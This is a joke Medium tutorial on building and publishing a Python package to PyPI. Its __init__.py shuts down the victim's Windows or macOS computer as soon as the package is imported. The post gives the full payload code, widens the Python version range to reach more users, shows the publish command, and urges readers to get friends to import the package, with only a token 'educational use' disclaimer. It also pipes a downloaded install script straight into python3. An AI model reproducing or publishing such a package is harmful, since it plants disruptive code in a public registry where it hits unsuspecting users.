Sitemap
Sergei Issaev

Sergei Issaev

AI Scientist @ Vooban

Ultimate Python Troll

Problem?

3 min readOct 13, 2022

--

Problem?

Time to put our coding skills to good use.

Install Poetry

Install Poetry on your computer if you do not have it (installation guide here). I am on mac, so I simply open my terminal and run

curl -sSL https://install.python-poetry.org | python3 -

Initialize Poetry project

Navigate to where you want to spawn your project folder, then run in terminal

poetry new --name package_name --src folder_name

Replace “package_name” with the name you want your package to have. Open this newly created project in your favorite IDE. Your tree should look like this:

.
├── README.md
├── pyproject.toml
├── src
│ └── package_name
│ └── __init__.py
└── tests
└── __init__.py

Add troll code

In src/package_name/__init__.py, add the following lines

import subprocess
import platform
import os
print(f"TROLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOLOL")
if platform.system() == "Windows":
subprocess.call(os.system("shutdown /s /t 1"))
else:
subprocess.call(['osascript', '-e', 'tell app "System Events" to shut down'])

This small code will immediately execute upon anyone importing this package. It prints the elegant message “TROLOLOL”, then uses built in library platform to check whether the OS is Windows or mac. This step is needed because the command to shut down a mac from Python differs from the command to shut down a PC. Adding this check ensures that both Windows and mac computers will immediately shut off upon importing this library.

Edit package configuration

Open pyproject.toml. Here, you can change the package version if you like. Since my project is so advanced, I will skip version 0–99 and go straight to release version 100.

[tool.poetry]
name = "package_name"
version = "100.0.0"

More importantly, you can edit the Python requirements to maximize the number of users you can troll. By default, the Python version dependency is set to the newest version of Python as the minimum version to find the pip package:

[tool.poetry.dependencies]
python = "^3.10"

Change this to an earlier version to ensure even users with older Python versions can download your incredible masterpiece of a package.

[tool.poetry.dependencies]
python = "^3.0"

Now, anyone running Python version 3.0 or greater will find the package.

Install project

Run

poetry install

Create an account on Pypi

Create an account here. You must verify your email to publish a package. Write down your username and password, as you will need these in the next step.

Publish!

Run

poetry publish --username REDACTED_USERNAME --password REDACTED_PASSWORD --build

Congrats, your project is now on Pypi. Anyone can easily pip install your package now.

Tell your friends to import your package

Don’t forget to send them this image afterwards too!

Disclaimer:

Get Sergei Issaev’s stories in your inbox

Join Medium for free to get updates from this writer.

For educational use only.

Do not include the package in the code and send it to someone who doesn’t know it will shut off their computer. Do not send this package link to company/university/enterprise developers.

This was written as a fun joke — I’m not responsible for what users do with this :)

Links:

Linkedin: https://www.linkedin.com/in/sergei-issaev/

GitHub: https://github.com/sergeiissaev

Kaggle: https://www.kaggle.com/sergei416

Medium: https://medium.com/@sergei740

Twitter: https://twitter.com/realSergAI

--

--